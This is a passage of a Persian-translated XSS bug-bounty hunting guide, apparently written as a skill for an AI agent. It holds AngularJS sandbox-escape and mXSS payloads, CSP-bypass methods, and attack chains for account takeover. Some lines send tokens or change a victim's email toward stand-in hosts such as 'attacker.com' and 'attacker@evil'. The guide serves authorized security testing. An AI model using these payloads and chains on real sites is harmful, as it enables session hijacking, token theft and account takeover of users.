?PARAM=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(CODES)=1
  • ‏PARAM = پارامتر بازتابی‌ای که پیدا کردی.
  • ‏CODES = کدهای کاراکتری جداشده با کاما از JavaScriptی که می‌خواهی اجرا شود — خودت حسابشان کن (مثلاً x=alert(1) را با تبدیل هر کاراکتر به char code encode کن). toString() رشته بدون کوتیشن می‌سازد؛ [].join جایگزین charAt می‌شود؛ orderBy فیلتر را فرامی‌خواند؛ fromCharCode(CODES) payload را از کدها بازسازی می‌کند.
  • ‏فقط روی AngularJS قدیمی (<1.6) کار می‌کند؛ فریم‌ورک‌های مدرن (Angular 2+، React، Vue) آسیب‌پذیر نیستند.

مراحل استخراج‌شده
  1. ۱‏آپلودهای SVG مقدار script-src را دور می‌زنند چون پاسخ‌های `image/svg+xml` ممکن است CSP صفحه را به ارث نبرند
  2. ۲‏endpointهای JSONP روی دامنه‌های whitelist‌شده پیدا کن (`*.googleapis.com`، `*.cloudflare.com`)
  3. ۳‏از تزریق تگ `<base>` برای تغییرمسیر منبع اسکریپت‌ها استفاده کن
  4. ۴‏`unsafe-eval` یا `unsafe-inline` در style-src را برای حملات مبتنی بر CSS بهره‌برداری کن
  5. ۵‏gadgetهای `<link rel=preload>` یا `<meta http-equiv>` برای دورزدن policyهای سخت‌گیرانه
  6. ۶‏mXSS (Mutation XSS): HTMLای تزریق کن که هنگام parse توسط sanitizer امن است ولی هنگام parse مجدد توسط مرورگر جهش پیدا می‌کند (مثل `<math><style><img onerror=...>`)
  7. ۷‏حملات ترکیب تگ: `<svg>` + `<style>` یا `<math>` + `<style>` ابهام parsing می‌سازند
  8. ۸‏تنوع کوتیشن attribute: `onmouseover=alert(1)` بدون کوتیشن، یا delimiterهای backtick
  9. ۹‏encoding با HTML entity: `&#106;avascript:` یا `&#x6A;avascript:` در مقدار href
  10. ۱۰‏تنوع پروتکل: `javascript:`، `vbscript:`، `data:text/html`
  11. ۱۱‏*تشخیص:* صفحه از AngularJS استفاده می‌کند (دنبال attributeهای `ng-app`/`ng-controller`، فایل `angular.js`/`angular.min.js`، یا درون‌گذاری `{{ }}` بگرد). یک پارامتر بازتابی را با `{{7*7}}` probe کن — اگر `49` رندر شد (نه متن تحت‌اللفظی)، مقدار به‌عنوان عبارت Angular ارزیابی می‌شود. همیشه ابزار `browser` را درگیر کن تا عبارت واقعاً ارزیابی شود.
  12. ۱۲‏*اجرای JS با فرار از sandbox* (تکنیک به نسخه‌ی AngularJS بستگی دارد):
  13. ۱۳رایج: `{{constructor.constructor('alert(1)')()}}` یا `{{$eval.constructor('alert(1)')()}}`.
  14. ۱۴variant سخت — `$eval` در دسترس نیست و literalهای رشته‌ای ممنوع‌اند: `String.prototype.charAt` را بازنویسی کن (این بررسی‌های کاراکتر‌به‌کاراکتر sandbox را خنثی می‌کند)، بعد با فیلتر `orderBy` و `String.fromCharCode` کد JS را بدون هیچ کوتیشنی بساز. ساختار payload (placeholderها را خودت پر کن):
۹

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۹ از ۱۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

پیش از نوشتن گزارش، به هر سه سؤال پاسخ بده:

  1. مهاجم همین حالا چه کاری می‌تواند انجام دهد؟

مهاجم باید یک اقدام مشخص نشان دهد: اجرای JavaScript در session مرورگر قربانی روی دامنه‌ی هدف، دزدیدن کوکی/توکن session، انجام اقدام به‌جای قربانی، یا exfiltration داده‌ی حساس. «ظاهرشدن alert box» کافی نیست — بگو alert box از نظر دسترسی چه چیزی را نمایندگی می‌کند (مثلاً «می‌توانم document.cookie را بخوانم که توکن auth همه‌ی فراخوانی‌های API ادمین را دارد»).

  1. قربانی چه چیزی از دست می‌دهد؟

قربانی باید چیز واقعی از دست بدهد: کنترل session (تسخیر حساب)، داده‌ی حساس (کوکی‌ها، توکن‌های CSRF، PII)، پول (اقدام مالی بدون رضایت)، یا اعتماد (فیشینگ credential از طریق دست‌کاری DOM). اگر قربانی کاربر احراز هویت‌نشده روی صفحه‌ی عمومی بدون session است، کمّی کن مرورگر آن کاربر در معرض چیست.

  1. آیا در ۱۰ دقیقه از صفر قابل‌بازتولید است؟

باید یک URL یا دنباله‌ی مراحل PoC خودکفا داشته باشی که هر بازبین‌کننده‌ای بدون آماده‌سازی قبلی دنبال کند. payload باید در مرورگر فعلی (آخرین Chrome/Firefox) بدون پیکربندی خاص فایر شود. اگر فقط در مرورگر قدیمی کار می‌کند یا به extension خاصی روی سیستم قربانی نیاز دارد، احتمالاً پذیرفته نمی‌شود.

مراحل استخراج‌شده
  1. ۱مهاجم همین حالا چه کاری می‌تواند انجام دهد؟
  2. ۲قربانی چه چیزی از دست می‌دهد؟
  3. ۳آیا در ۱۰ دقیقه از صفر قابل‌بازتولید است؟
۱۰

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۲

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

سناریوی ۱ — XSS ذخیره‌شده از طریق Cache Poisoning روی صفحه‌ی ورود

مهاجم کشف کرد صفحه‌ی ورود یک پلتفرم پرداخت بزرگ ورودی کنترل‌شده‌ی کاربر را بازتاب می‌دهد و توسط لایه‌ی CDN کش می‌شود. با ارسال request ساخته‌شده‌ای که cache را مسموم کرد، مهاجم XSS بازتابی را به معادل ذخیره‌شده تبدیل کرد که برای هر کاربر صفحه‌ی ورود فایر می‌شد. تأثیر: برداشت credential در مقیاس — هر کاربری که صفحه‌ی ورود را می‌دید credentialش گرفته می‌شد. CSP دورزده‌شده باعث شد remediation هم فیکس کد و هم پاک‌سازی cache بخواهد.

سناریوی ۲ — XSS ذخیره‌شده از طریق رندر دیاگرام در Wiki

قابلیت wiki یک پلتفرم توسعه‌دهنده با سرویس رندر دیاگرام third-party (Kroki) یکپارچه شده بود. مهاجم payload دیاگرام مخربی ساخت که هنگام رندر، JavaScript دلخواه را در context هر کاربر بیننده‌ی صفحه‌ی wiki اجرا می‌کرد. چون wiki بین اعضای تیم شامل مالکان پروژه و ادمین‌ها مشترک است، payload می‌توانست بی‌صدا توکن‌های OAuth را exfil کند و اقدامات مدیریتی به‌نیابت از هر بیننده انجام دهد — عملاً تسخیر حساب در سطح سازمان از یک payload ذخیره‌شده‌ی تکی.

سناریوی ۳ — دورزدن Sanitizer از فیلد رنگ Label همراه با دورزدن CSP

یک پلتفرم مدیریت پروژه آسیب‌پذیری XSS در فیلدهای رنگ label را patch کرد ولی فیکس ناقص بود. پژوهشگر دریافت با ترکیب allowlist تگ style و تودرتویی خاص تگ‌ها (svg>style)، خروجی sanitizer هنگام parse مرورگر جهش پیدا می‌کند و JavaScript تزریقی اجرا می‌شود. payload همچنین CSP پلتفرم را دور زد چون تزریق در context استایل inline مجاز اتفاق افتاده بود. تأثیر: هر کاربر با مجوز ساخت label (غالباً همه‌ی اعضای پروژه) می‌توانست XSS ماندگار تزریق کند که برای هر بازدیدکننده‌ی پروژه فایر شود و سرقت session میان‌کاربری در همان namespace پروژه را ممکن کند.

۱۱

زنجیره‌ها و ترکیب‌ها

Chains & Compositions (Senior Hunting)
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۲

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

XSS به‌عنوان یافته‌ی تکی در برنامه‌های بالغ در سطح Low-Medium پول می‌گیرد. payout واقعی حول زنجیره‌هایی جمع است که اجرای JS را به تسخیر حساب، impact انبوه‌قربانی، دورزدن CSP یا exfil توکن تبدیل می‌کند. مهارت ترکیب یعنی: «XSS من وقتی اجرا شد چه چیزی را باز می‌کند؟» — و پاسخ همیشه چیزی فراتر از alert(1) است.

زنجیره‌ی ۱ — XSS بازتابی + Cache Poisoning ← XSS ذخیره‌شده‌ی ماندگار در مقیاس CDN (رده‌ی Kettle)
  • ‏الف. یک XSS بازتابی پیدا کن که ورودی آسیب‌پذیر در body پاسخ می‌نشیند و پاسخ قابل‌کش است (Cache-Control: public, max-age=…).
  • ‏ب. ورودی unkeyedای پیدا کن که روی body کش‌شده اثر می‌گذارد — معمولاً X-Forwarded-Host، X-Original-URL، کوکی unkeyed، یا پارامتری که از cache key حذف شده ولی در body بازتاب می‌شود.
  • ‏ج. یک request تکی با payload مربوط به XSS از ورودی unkeyed بفرست. کش، پاسخ مسموم را ذخیره می‌کند. هر بازدیدکننده‌ی بعدی edge مربوط به CDN در کل TTL آن را دریافت می‌کند.
  • ‏تأثیر: XSS بازتابی self-inflicted به XSS ذخیره‌شده‌ی ماندگار برای هر بازدیدکننده در آن منطقه‌ی جغرافیایی تا انقضای کش تبدیل می‌شود. بدون نیاز به تعامل با هر قربانی.
  • ‏شکل واقعی: reflected←stored در Glassdoor از طریق cache poisoning، H1 #1424094 (۲۰۲۱–۲۰۲۲)؛ پژوهش «Practical Web Cache Poisoning» مربوط به Kettle. ارجاع متقابل به hunt-cache-poison استناد گزارش #۴.
زنجیره‌ی ۲ — Self-XSS + محرک CSRF ← XSS ذخیره‌شده‌ی مؤثر ← ATO
  • ‏الف. self-XSS را در فیلد پروفایل تأیید کن (bio، display_name، signature) — payload فقط وقتی همان کاربر لاگین‌شده پروفایل خودش را می‌بیند اجرا می‌شود.
  • ‏ب. endpoint آسیب‌پذیر به CSRF پیدا کن که همان فیلد را تغییر می‌دهد (بدون توکن anti-CSRF، یا دورزدن با enctype text/plain).
  • ‏ج. صفحه‌ی میزبان‌مهاجم بساز که فرم CSRF را با XSS payload در bio سابمیت می‌کند. قربانی صفحه‌ی مهاجم را باز می‌کند ← CSRF فایر می‌شود ← پروفایل قربانی آپدیت می‌شود ← بازدید بعدی قربانی از پروفایل خودش JS مهاجم را اجرا می‌کند.
  • ‏تأثیر: self-XSS که «پول نمی‌دهد» به ATO تبدیل می‌شود. payload در session احراز هویت‌شده‌ی قربانی اجرا می‌شود — استخراج کوکی، اجبار تغییر ایمیل با XHR، password reset ← ATO کامل.
  • ‏شکل واقعی: افشاهای متعدد H1 در ۲۰۱۹–۲۰۲۳ روی پلتفرم‌های اجتماعی. ارجاع متقابل به hunt-csrf گام ۷ (CSRF فرم‌محور روی mutation پروفایل).
زنجیره‌ی ۳ — DOM XSS روی صفحه‌ی /signin یا callback مربوط به /oauth ← گرفتن توکن fragment ← ATO
  • ‏الف. DOM XSS روی صفحه‌ی /signin، /oauth/callback یا /auth/return پیدا کن — معمولاً document.location.hash بدون escape در DOM parse می‌شود.
  • ‏ب. callbackهای فلو implicit در OAuth اغلب توکن را در fragment مربوط به URL می‌نشانند (#access_token=...). fragment به سرور ارسال نمی‌شود؛ فقط مرورگر آن را می‌بیند.
  • ج. payload مربوط به XSS مقدار document.location.hash را می‌خواند، base64-encode می‌کند و با Image() به دامنه‌ی مهاجم بیرون می‌کند. مهاجم حالا access token مربوط به OAuth را دارد.
  • ‏تأثیر: ATO میان‌پلتفرمی. access token معمولاً scope مربوط به API داده‌ی کاربر Facebook/Google/Microsoft را می‌دهد؛ بعضی پیاده‌سازی‌ها توکن را مستقیم به‌عنوان session استفاده می‌کنند.
  • ‏شکل واقعی: نشتی توکن OAuth چندvendor تحت عنوان «Dirty Dancing» از Detectify (F. Rosén، ۲۰۲۲)؛ ATO زنجیره‌ای OAuth در Zoom به مبلغ ۱۵٬۰۰۰ دلار (H1 / Harel Security، ۲۰۲۴). ارجاع متقابل به hunt-oauth استناد #۱۹ و #۲۰.
زنجیره‌ی ۴ — XSS آپلود SVG + دورزدن CSP ← اجرای JS روی origin مورداعتماد ← سرقت کوکی/توکن
  • ‏الف. قابلیت آپلود فایلی را پیدا کن که image/svg+xml می‌پذیرد. فایل‌های SVG از نوع XML هستند و می‌توانند تگ <script> داشته باشند — خیلی sanitizerها PNG/JPG را پردازش می‌کنند ولی SVG را دست‌نخورده عبور می‌دهند.
  • ‏ب. CSP اغلب روی پاسخ‌های HTML اعمال می‌شود ولی نه روی پاسخ‌های image/svg+xml. SVG در context هر originی که سروش می‌کند JS اجرا می‌کند.
  • ‏ج. اگر SVG روی همان origin سرو شود (رایج وقتی آپلودها به target.com/uploads/<sha>.svg می‌روند)، JS اجراشونده دسترسی کامل به کوکی session دارد و هر API same-origin را می‌تواند صدا کند.
  • ‏تأثیر: XSS ذخیره‌شده روی origin مورداعتماد بدون عبور از بردار محتوای بازتابی/ذخیره‌شده — CSP را کاملاً دور می‌زند؛ کوکی session را می‌دزدد، endpointهای تغییر رمز را صدا می‌کند، ATO.
  • ‏شکل واقعی: موارد متعدد افشاشده در uploaderهای SaaS؛ ارجاع متقابل به بخش SVG در hunt-file-upload و hunt-xxe استناد #۳ و #۴ (زنجیره‌های آپلود SVG در Zivver/Lab45).
زنجیره‌ی ۵ — XSS از postMessage + دورزدن بررسی origin ← exfil توکن میان‌مبدایی ← ATO
  • ‏الف. یک window.addEventListener('message', handler) پیدا کن که handler مقدار event.origin را چک نمی‌کند (یا با indexOf/endsWithی چک می‌کند که روی target.com.attacker.com می‌شکند).
  • ‏ب. صفحه‌ی مهاجم target.com را در popup یا iframe باز می‌کند. بعد از load، یک payload از طریق postMessage می‌فرستد که handler آن را eval می‌کند، به‌عنوان XSS پردازش می‌کند، یا برای استخراج document.cookie استفاده می‌کند.
  • ج. handler در context مربوط به target.com اجرا می‌شود؛ پاسخ با event.source.postMessage(stolenData, '*') به صفحه‌ی مهاجم برمی‌گردد.
  • ‏تأثیر: اجرای JS و exfil میان‌مبدایی بدون هیچ نقض CSP — postMessage کانال میان‌مبدایی مشروع است و CSP آن را کنترل نمی‌کند. سرقت توکن / ربودن session.
  • ‏شکل واقعی: gadgetهای postMessage چندvendor تحت عنوان «Dirty Dancing» (۲۰۲۲)؛ زنجیره‌ی OAuth + postMessage در Zoom (۲۰۲۴). ارجاع متقابل به hunt-oauth استناد #۱۹ و #۲۰.
زنجیره‌ی ۶ — XSS در Markdown/Wiki + بیننده‌ی دارای امتیاز ← XSS ذخیره‌شده‌ی میان‌امتیازی
  • ‏الف. XSS ذخیره‌شده در فیلد محتوای مشارکتی (صفحه‌ی wiki، کامنت issue، تیکت مشتری، پاسخ پشتیبانی) — payload به‌خاطر allowlist ناکافی روی <style>، <math>، <svg> یا فیلترهای attribute از رندر Markdown جان سالم به در می‌برد.
  • ‏ب. محتوای مشارکتی توسط کاربر دارای امتیاز دیده می‌شود (ادمین، عامل پشتیبانی با مجوز بالاتر، maintainer پروژه).
  • ‏ج. session بیننده‌ی دارای امتیاز payload را در context احراز هویت‌شده‌ی خودش اجرا می‌کند — XHR به endpointهای فقط-ادمین، تغییر نقش مهاجم، exfil راز از پنل‌های فقط-ادمین.
  • ‏تأثیر: privilege escalation از کاربر کم‌امتیاز به ادمین از طریق XSS ذخیره‌شده — مهاجم خودش را به‌نیابت از کاربر امتیازدار ارتقا می‌دهد.
  • ‏شکل واقعی: کلاس markdown-XSS←admin-priv-esc در GitLab/Jira/Confluence؛ الگوی رایج payout شدت High است (افزایش شدت به‌خاطر privilege escalation نسبت به stored XSS تکی).
الگوی سطح-اپراتور

وقتی XSS را در مرحله‌ی A تأیید کردی، بلافاصله بپرس: این JS حالا به کدام endpoint تغییر state یا مخزن توکن دسترسی دارد؟ payload کجا اجرا می‌شود و چه کسی آن را می‌بیند؟ payout زنجیره ۵ تا ۲۰ برابر XSS تکی است. دروازه‌ی انضباط پیش از ارسال: XSS را بدون نشان‌دادن impact نهایی (ATO / exfil توکن / privilege escalation) به‌عنوان «Critical» ثبت نکن؛ در غیر این صورت به‌عنوان Medium ثبت کن.

ارجاع‌های متقابل:

  • ‏hunt-cache-poison — زنجیره‌ی ۱
  • ‏hunt-csrf — زنجیره‌ی ۲
  • ‏hunt-oauth — زنجیره‌های ۳ و ۵
  • ‏hunt-file-upload / hunt-xxe — زنجیره‌ی ۴
  • ‏hunt-ato — impact نهایی زنجیره‌های ۲، ۳، ۴ و ۵
۱۲

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-cache-poison — XSS بازتابی وقتی پارامتر آسیب‌پذیر unkeyed است در مقیاس CDN به معادل ذخیره‌شده تبدیل می‌شود. primitive زنجیره: X-Forwarded-Host: attacker.com یک پاسخ کش‌شده را مسموم می‌کند که <script src=...> آن حالا به attacker.com اشاره می‌کند ← هر بازدیدکننده‌ی edge مربوط به CDN بدون هیچ تعامل فردی JS مهاجم را اجرا می‌کند.
  • ‏‏hunt-csrf — XSS روی origin به‌طور خودکار SameSite=Lax و بررسی‌های same-origin برای endpointهای تغییر state را شکست می‌دهد. primitive زنجیره: XSS ذخیره‌شده در bio پروفایل ← fetch('/settings/email', {method:'POST', body:'email=attacker@evil'}) با کوکی‌های قربانی و origin او اجرا می‌شود ← تسخیر بی‌صدای ایمیل ← password reset ← ATO کامل بدون اینکه قربانی صفحه را ترک کند.
  • ‏‏hunt-http-smuggling — smuggling یک payload مربوط به XSS را وارد صف پاسخ request قربانی بعدی می‌کند، حتی روی endpointهایی که ورودی خودشان را sanitize می‌کنند. primitive زنجیره: requestی را قاچاق کن که پاسخش (حامل HTML مهاجم) به‌عنوان body مربوط به GET / کاربر قانونی بعدی سرو شود ← XSS بازتابی برای هر بازدیدکننده بدون هیچ پارامتر قابل‌مشاهده‌ای در نوار آدرسش.
  • ‏‏security-arsenal — پیش از ساخت payload با دست، به بانک payload مربوط به XSS برس (mXSS سبک SVG+style و math+style، gadgetهای JSONP دورزننده‌ی CSP، event handlerهای HTML5 که WAFها نمی‌بینند)؛ و لیست always-rejected را برای تأیید اینکه self-XSS / PoCهای فقط-alert قابل‌ارسال نیستند.
  • ‏‏triage-validation — پیش از ادعای Critical روی stored XSS که فقط در session خود مهاجم فایر می‌شود، یا پیش از ادعای reflected XSS که canary آن به‌صورت HTML-encoded (&lt;) در body پاسخ ظاهر می‌شود، دروازه‌ی Pre-Severity را اجرا کن — این دو رایج‌ترین تله‌های تنزل به N/A هستند.
مراحل استخراج‌شده
  1. ۱‏‏`hunt-cache-poison` — XSS بازتابی وقتی پارامتر آسیب‌پذیر unkeyed است در مقیاس CDN به معادل ذخیره‌شده تبدیل می‌شود. primitive زنجیره: `X-Forwarded-Host: attacker.com` یک پاسخ کش‌شده را مسموم می‌کند که `<script src=...>` آن حالا به attacker.com اشاره می‌کند ← هر بازدیدکننده‌ی edge مربوط به CDN بدون هیچ تعامل فردی JS مهاجم را اجرا می‌کند.
  2. ۲‏‏`hunt-csrf` — XSS روی origin به‌طور خودکار SameSite=Lax و بررسی‌های same-origin برای endpointهای تغییر state را شکست می‌دهد. primitive زنجیره: XSS ذخیره‌شده در bio پروفایل ← `fetch('/settings/email', {method:'POST', body:'email=attacker@evil'})` با کوکی‌های قربانی و origin او اجرا می‌شود ← تسخیر بی‌صدای ایمیل ← password reset ← ATO کامل بدون اینکه قربانی صفحه را ترک کند.
  3. ۳‏‏`hunt-http-smuggling` — smuggling یک payload مربوط به XSS را وارد صف پاسخ request قربانی *بعدی* می‌کند، حتی روی endpointهایی که ورودی خودشان را sanitize می‌کنند. primitive زنجیره: requestی را قاچاق کن که پاسخش (حامل HTML مهاجم) به‌عنوان body مربوط به GET / کاربر قانونی بعدی سرو شود ← XSS بازتابی برای هر بازدیدکننده بدون هیچ پارامتر قابل‌مشاهده‌ای در نوار آدرسش.
  4. ۴‏‏`security-arsenal` — پیش از ساخت payload با دست، به بانک payload مربوط به XSS برس (mXSS سبک SVG+style و math+style، gadgetهای JSONP دورزننده‌ی CSP، event handlerهای HTML5 که WAFها نمی‌بینند)؛ و لیست always-rejected را برای تأیید اینکه self-XSS / PoCهای فقط-alert قابل‌ارسال نیستند.
  5. ۵‏‏`triage-validation` — پیش از ادعای Critical روی stored XSS که فقط در session خود مهاجم فایر می‌شود، یا پیش از ادعای reflected XSS که canary آن به‌صورت HTML-encoded (`&lt;`) در body پاسخ ظاهر می‌شود، دروازه‌ی Pre-Severity را اجرا کن — این دو رایج‌ترین تله‌های تنزل به N/A هستند.